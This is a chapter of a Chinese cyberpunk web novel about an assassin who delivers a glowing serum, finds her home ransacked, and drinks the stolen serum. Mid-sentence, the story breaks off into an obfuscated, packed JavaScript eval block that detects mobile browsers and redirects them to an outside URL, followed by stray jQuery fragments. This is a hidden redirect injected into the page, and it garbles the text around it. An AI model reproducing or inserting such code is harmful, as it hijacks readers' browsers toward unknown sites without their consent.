桑凌收到指示。
接头人让她前往学校四楼的女厕,钱已经放在工具间。
她戴上口罩把下巴也遮住,提着装红魔的箱子,绕了个圈,从另一侧围墙豁口翻进去,麻利地上了四楼。
这地方她很熟悉,原先是联邦公立学校,占地面积不小,长走廊连成凹字形,只可惜联邦政府撤走教育资金后,整个学校就废弃了。
现在焦油城的孩子,大多在费用高得吓人的私立学校念书。
经过转角时,桑凌敏锐听见底下有碎石子儿踩踏的声音,探出头往外一看,有人戴着鸭舌帽闪身进入了校门,走向另一侧围墙。
桑凌没有理会,这学校里本来就是黑.道交易的常用地点,此外流浪者聚集,人员混杂,她经过三楼时,还听到某间旧教室有细微鼾声。
不过为了避免节外生枝,桑凌还是打开了衣服上的信号屏蔽装置。
这种东西专门针对智能热感侦查,肉眼可以看到她的行踪,但智能扫描设备会在三十秒内忽略她的存在。
大晚上进废弃厕所有点吓人,桑凌缩着脖子,转了两道弯才找到地方。
漆黑一片的工具房里,果然摆着装三千万的箱子。
接头人没有现身,可能正藏在附近不方便露面。但是箱子把手还是热的,拎起来很重,金属扣上刻着一个正方形的暗纹。
桑凌对此没有意见,只要不威胁到她的人身安全,怎么交易都可以,她无所谓。
于是只拿了钱,按照需求把红魔放进工具间内。
装红魔的黑箱卡扣已被爆炸损毁,很难扣上,一放下,箱子自动往两边散开,壳面与旁边放着的扫把相撞,发出“叩”一声响动。
与此同时,外边楼下似乎传来砖块相碰的声音,两相重合。
桑凌侧起耳朵听了听,她五感很敏锐,有人在低声说话。
不过声音很远,听不清内容,那人应该在教学楼的另一侧。大概又是黑.帮的走狗在进行非法交易,那些人最喜欢选这些鸟不拉屎的地方。
对桑凌来说,不算威胁,避开就行了。
她回头望向工具间,还好还好,散开的箱子中,五支玻璃管安然无恙。
只是因为撞击,玻璃管中只有四分之三满的液体,产生了不小的晃动。
荧光物质挂在玻璃壁上,因为重力往下流淌,看起来像血似的,挺寒碜。
桑凌蹲下身子,重新把黑色箱子放平,又拿起沾满灰尘的拖把扫把盖住箱子,简单伪装一番。
这么噼里啪啦一阵捣鼓,年久失修的墙皮,簌簌落下来几块碎石子儿。
等到伪装好,她满意地擦掉手上的灰尘,拎着钱美滋滋下到一楼。
经过半截围墙时,桑凌突然嗅到空气中一股浓郁的血腥味。
新鲜的。
杀人经验告诉她,这里死了人。
果然,越过裸露的钢筋水泥,桑凌看到一叠胡乱堆叠的砖块。
收尸经验告诉她,尸体被留在这儿了。
不知道是不是有人拿了东西,不付钱,选择杀人灭口,也不意外,这里的黑.帮最喜欢干这种事儿。
真是没道德。
桑凌默不作声,先是打开战术镜扫描了周围,确认杀人凶手已经不在现场之后,桑凌打开智脑,在街景地图上标记了一处位置。
现成的KPI,不捡白不捡,等明天上班再来收尸。到时候,可以找风渡川多要一点奖金。
为了防止被不知情的流浪者看到,桑凌还多堆了一些砖块,又扯过旁边的破损塑料膜,连同血迹一起盖得严严实实。
等她走出校门后,发现停在路边的共享小电驴不知所踪。
桑凌联系上花财:“我车呢?”
“你不是嫌它按时间扣费,浪费钱,选择锁车嘛。”花财幸灾乐祸,“已经被人扫走了。”
“烦人。”桑凌哼了一声,有些可惜,要知道在街上扫到一个车把没坏、车轮有气的共享车有多难。
花财:“你怎么回去?”
“走回去。”
她信用透支,居民等级太低,不能搭乘公共悬浮电轨,打私家车又过于昂贵,只能选择走回去。
不行,这个月还得多赚些钱,得把买车提上日程,哪怕买辆自行车也好。
桑凌提着箱子混入人流,指尖摸着口袋里冰冷的管状物,侧头打量。
街对面,五福车行正在搞促销活动,门口跳动的电子广告牌上,一个拟人的电动车眨着俩车灯大喊:“大减价,五福电动车不要999998,只要99998,快来抢购啦!”
抢购还是抢钱?
不过还真有人买。有个背着琴盒的年轻女人站在车行门口,正在和老板询问一辆黑色机车的性能,看起来已经决定入手。
桑凌心中估算,普通的电动车需要十万,恐怕那又酷又炫的高性能机车,得上百万才能买到。
羡慕。
不过话说回来,她先前看到那粉发的街头歌手,挣了点儿钢镚,想来没有正经工作,恐怕也是贷款消费。
这里的人都是这样。
市场定价只把控在资本和黑.帮手里,定多高的价,平民都只能接受,人要买必需品、得吃饭,就得乖乖掏钱。
没钱的人,商家和资本都会热情给你推销另一条道路——贷款消费。
贷款很容易,但还款时利滚利,被利息追着跑,人只能一辈子努力打工,工资又不见涨,稍一停下就还不上钱了。
所以偷摸拐骗的罪犯,在焦油城反而更常见。犯罪反过来又会成为资本的帮凶,这样的社会风气一旦形成,再想清除就比登天还难。
桑凌已经习惯了。
不只是永光城和焦油城之间存在贫富差距,焦油城内部也有,资源垄断,阶级分明,这就是焦油城的现状。
她还挺庆幸,现在这个物价,和以前比起来,已经回落不少。
前两年联邦管辖的所有城、州、郡,有过一次暗流涌动的博弈,具体发生了什么老百姓不清楚,只知道日子稍稍好过了一些。
但也没好到哪里去。
破晓帮会只要把控着焦油城,五十万常住人口里,有二十万都是拥趸,死了一个一把手,还会有二把手,三把手。没了一个破晓帮,还会有一个破烂帮。
只要规则没改变,这样的现状就会一直维持下去。
但这些,都在桑凌的能力范围之外。
她杀点人,改变不了任何局势。
赚钱才是首要任务。
桑凌拿了钱,离开五福街走向家的方向。
“收工了花财,钱我等会儿兑换成电子货币,老规矩,汇你四成。”
“好的太阳,那我下线了,拜拜~”
花财说消失就消失,每次都走得极其干脆。
桑凌去了一趟现金兑换中心,等她拎着一个空盒子回到家,已经是晚上十点。
桑凌心情还算不错,她打两份工,收工收得比某些加班牛马还早,估摸着今晚可以睡个好觉。
可刚一抬手,桑凌就猛地一惊。
在她面前,智能门锁被暴力破坏,木门上出现七八个巨大弹孔,正中间,还有刀劈斧砍的痕迹,断裂的木头刺拉斜生,透过豁口,可以清晰看到屋内的地板。
桑凌默不作声,回过头打量走道。三楼其它住户安然无恙,门窗俱在,大门紧闭,只有她家出现了变故。
那就不是风渡川担心的整条街动乱,而是专门针对她。
桑凌反而松了一口气。
果然,家又又又又没啦。
她放松肩膀,打开门,屋内为数不多的柜子衣橱被人胡乱翻找,连洗手间也没能幸免,镜子被砸碎,沐浴露洗手液打翻得到处都是。
这已经是桑凌搬的第十二次家。
这两年,不知道哪来的暴徒,总是到她家捣乱。桑凌让花财帮忙追踪,杀了几批,但下一次,总是会来些新面孔。
这些家伙受人雇佣,都是些不入流的小混混。不过说来也奇怪,这些人只翻她东西,不拿钱,也不杀人,有次桑凌和对方当场碰上,一打开门大眼瞪小眼。
桑凌还没动手,对方只顾屁滚尿流地逃命,根本没想着拔枪。
背后使坏的雇主,却有些手段,查不出来,桑凌只能慢慢查。
她关好门,熟练地捡起地上的衣服,堵住门上的破洞。
家没了这件事,一回生,二回就熟了。
没事的没事的,将就对付一晚,今晚还能睡。
可当她走进卧室时,傻眼了。
天杀的,那帮人把她的折叠床给搬走了!
桑凌怒火中烧,床是房东的私有物,这下子连押金都退不回来!
以前可没有发生这样的事,今天来的这帮人更谨慎,翻找得更为细致,装在家里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138304|180355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
监控也被提前破坏。
还有床,不会觉得她那破床里藏了要找的东西吧?桑凌无语至极,气得踹了柜子一脚。
大概是这一下踹得太使劲,半掩的柜门吱呀一下,摇摇欲坠,转轴处螺丝接口脱落,咔一下落在地上。
随着转轴一起掉落的,还有柜门中卡着的一个银色金属扣。
桑凌目光一凝,捡起金属放在手心仔细打量,那像是高档西装袖口会用来装饰的定制纽扣,很小,毫不起眼。桑凌用指腹摸了摸,在看清上面刻痕时,浑身一震。
形状并不特殊,只是一个小小的正方体,单面中间有井字形的纹路隔开,是一个九宫格。
但是这刻痕她见过一次,和她今天交易时,拿到的钱箱子上的刻痕一模一样。
什么意思?下井字棋吗?
桑凌掀掉兜帽,拿来空箱子的金属锁扣仔细对比,竟然毫无差别。她背后发凉,恍然意识到,今天杀手任务背后的雇主,很可能跟两年来,总是潜入她家捣乱的背后主使,是同一拨人。
至少,脱不开干系。
难怪任务开始后她就觉得不太对劲。
桑凌重新戴上太阳镜,打开扫描功能,将房间内从里到外翻找了五遍,好在没有发现任何监控窃听设备。
尽管如此,这个家今晚也不能住了。
有人盯上她了。
桑凌揣着兜,转身进了浴室,关上门的一瞬间,她脸上的神色变得极为严肃。
洗手间一片狼藉,到处都是镜子碎片。桑凌抓住洗手台两边,用力往上一拔,突然间,整个洗手台脱离墙壁,墙后连接管道的地方,出现一个人为拓宽的豁口。
瓷砖被桑凌一块一块取下来,墙后面,有一块蟑螂粘粘板,沾满了用来吓退旁人的假蟑螂。
背后有一个信号屏蔽器。
更后面,还放着一个正方形的红色丝绒盒子。
桑凌清空所有东西,拿出里面的盒子,打开盒盖,里面的东西都还原封不动——两张旧照片,一把枪,一个芯片,还有一颗染血的子弹头。
照片上的女人三十多岁,亚麻色大波浪,嘴里叼着没点的烟,正抵在机车上眯起眼睛笑。
焦油城的霓虹灯打在女人身上,无比绚烂。
桑凌蹲在洗手台旁,摸了摸照片上的折痕。她知道那些人在找什么,叱咤一时的金牌杀手冥王星留下来的遗物,总是被人觊觎。只是不知道是哪方势力盯上了她。
桑凌将盒子重新收好,东西她需要带走。
盒子里放着的芯片,是她唯一的亲人、也是最信任的老师,死前留给她一个人的东西。
里面有寄语、遗产、还有一条任务——“如果将来,有荧光红O净化剂流传到焦油城,想办法抢到手,喝了,对你有好处。”
所以离开之前,桑凌还有一件事要做。
她安静了一会儿,缓缓从夹克口袋中,掏出一枚指节大小的玻璃管。
玻璃管只是普通材质,原先装着屏气胶囊。
现在,胶囊已经扔掉,里面正装着半盖血红色的液体,荧光流动看起来像血——桑凌从不私拿雇主物品,但红魔例外。
从见到这玩意儿那一刻起,她就动了私心。
交接红魔之前,她曾避开花财,关掉智脑,从五支管里,各倒了一小部分到手中的玻璃管中,少掉的部分,并不显眼。
但她得到的量,却不少。
超能力吗?有没有什么副作用?哪里来的适应性基因净化剂?桑凌一概不知。
她打开玻璃管的封口,仰起头,毫不犹豫将整管红魔,一饮而尽。
胃部剧烈的灼烧一瞬间席卷了桑凌的神智,她几乎控制不住身体抽搐。好痛,一股针扎般的痛钻进她的大脑,眼睛如同被冰锥刺穿,更像有玻璃碎渣在全身血管内游走。
桑凌咬住下唇,闭着眼睛一动不动,死死抱着怀里的盒子等疼痛缓解。
地面上,破碎的镜子将倒影切割成无数块。她垂着头,嘴角残留的红往下流淌,润湿了红色丝绒盒子。
过去了很久,再次睁眼的瞬间,桑凌终于意识到,这东西为什么被称作红魔。
在她视网膜中央、在视觉皮层深处,猛地炸开一片血色的噪点。
而后,迅速坍缩成一个完美的立方体。
一个散发着荧光的红色魔方,倾斜着,旋转着,在半空缓缓浮动。